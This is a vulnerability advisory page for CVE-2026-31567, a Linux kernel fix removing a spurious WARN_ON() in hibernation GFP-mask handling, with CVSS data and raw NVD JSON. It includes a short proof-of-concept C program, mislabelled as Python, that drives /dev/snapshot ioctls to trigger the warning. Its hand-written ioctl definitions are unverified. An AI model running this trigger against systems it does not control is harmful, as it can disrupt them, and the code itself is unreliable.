CVE-2026-31567

Description

In the Linux kernel, the following vulnerability has been resolved: PM: sleep: Drop spurious WARN_ON() from pm_restore_gfp_mask() Commit 35e4a69b2003f ("PM: sleep: Allow pm_restrict_gfp_mask() stacking") introduced refcount-based GFP mask management that warns when pm_restore_gfp_mask() is called with saved_gfp_count == 0. Some hibernation paths call pm_restore_gfp_mask() defensively where the GFP mask may or may not be restricted depending on the execution path. For example, the uswsusp interface invokes it in SNAPSHOT_CREATE_IMAGE, SNAPSHOT_UNFREEZE, and snapshot_release(). Before the stacking change this was a silent no-op; it now triggers a spurious WARNING. Remove the WARN_ON() wrapper from the !saved_gfp_count check while retaining the check itself, so that defensive calls remain harmless without producing false warnings. [ rjw: Subject tweak ]

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.18:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 提交3025ca5daa9d之前的版本

Linux Kernel < 提交a8d51efb5929之前的版本

Linux Kernel < 提交f19d1323aa3d之前的版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-31567
 * This code attempts to trigger the spurious WARN_ON in pm_restore_gfp_mask
 * by interacting with the uswsusp interface (snapshot device).
 * Requires root or appropriate permissions to access /dev/snapshot.
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

/* IOCTL definitions typically found in kernel headers */
#define SNAPSHOT_CREATE_IMAGE _IOR('S', 0x10, int)
#define SNAPSHOT_UNFREEZE    _IO('S', 0x15)

int main() {
    int fd = open("/dev/snapshot", O_RDWR);
    if (fd < 0) {
        perror("Failed to open /dev/snapshot");
        return 1;
    }

    printf("Attempting to trigger pm_restore_gfp_mask warning...\n");

    // Calling CREATE_IMAGE may trigger the suspend path where the bug occurs
    // depending on the kernel state and refcount.
    if (ioctl(fd, SNAPSHOT_CREATE_IMAGE, 0) < 0) {
        perror("IOCTL SNAPSHOT_CREATE_IMAGE failed (expected if not in correct state)");
    }

    // Subsequent operations might trigger the defensive restore call
    if (ioctl(fd, SNAPSHOT_UNFREEZE) < 0) {
        perror("IOCTL SNAPSHOT_UNFREEZE failed");
    }

    close(fd);
    printf("Check dmesg for WARN_ON output.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31567
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31567
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31567/
[4] VulDB https://vuldb.com/cve/CVE-2026-31567
[5] https://git.kernel.org/stable/c/3025ca5daa9d682b629c0c958b538e41deeb559d
[6] https://git.kernel.org/stable/c/a8d51efb5929ae308895455a3e496b5eca2cd143
[7] https://git.kernel.org/stable/c/f19d1323aa3dd7ead469aef47d9085f8939565d9

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31567", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:31.197", "lastModified": "2026-04-27T20:32:24.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nPM: sleep: Drop spurious WARN_ON() from pm_restore_gfp_mask()\n\nCommit 35e4a69b2003f (\"PM: sleep: Allow pm_restrict_gfp_mask()\nstacking\") introduced refcount-based GFP mask management that warns\nwhen pm_restore_gfp_mask() is called with saved_gfp_count == 0.\n\nSome hibernation paths call pm_restore_gfp_mask() defensively where\nthe GFP mask may or may not be restricted depending on the execution\npath. For example, the uswsusp interface invokes it in\nSNAPSHOT_CREATE_IMAGE, SNAPSHOT_UNFREEZE, and snapshot_release().\nBefore the stacking change this was a silent no-op; it now triggers\na spurious WARNING.\n\nRemove the WARN_ON() wrapper from the !saved_gfp_count check while\nretaining the check itself, so that defensive calls remain harmless\nwithout producing false warnings.\n\n[ rjw: Subject tweak ]"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17.8", "versionEndExcluding": "6.18", "matchCriteriaId": "57D56998-E0C3-4F58-BBF0-B20D1B4322C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.1", "versionEndExcluding": "6.18.21", "matchCriteriaId": "E2E98868-4027-46EE-AD08-92C9D7283181"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.18:-:*:*:*:*:*:*", "matchCriteriaId": "DCE57113-2223-4308-A0F2-5E6ECFBB3C23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3025ca5daa9d682b629c0c958b538e41deeb559d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a8d51efb5929ae308895455a3e496b5eca2cd143", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f19d1323aa3dd7ead469aef47d9085f8939565d9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}